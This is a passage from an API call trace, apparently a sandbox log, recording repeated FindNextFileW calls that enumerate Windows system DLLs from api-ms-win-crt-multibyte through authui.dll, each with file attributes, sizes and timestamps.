ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0185.137] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, 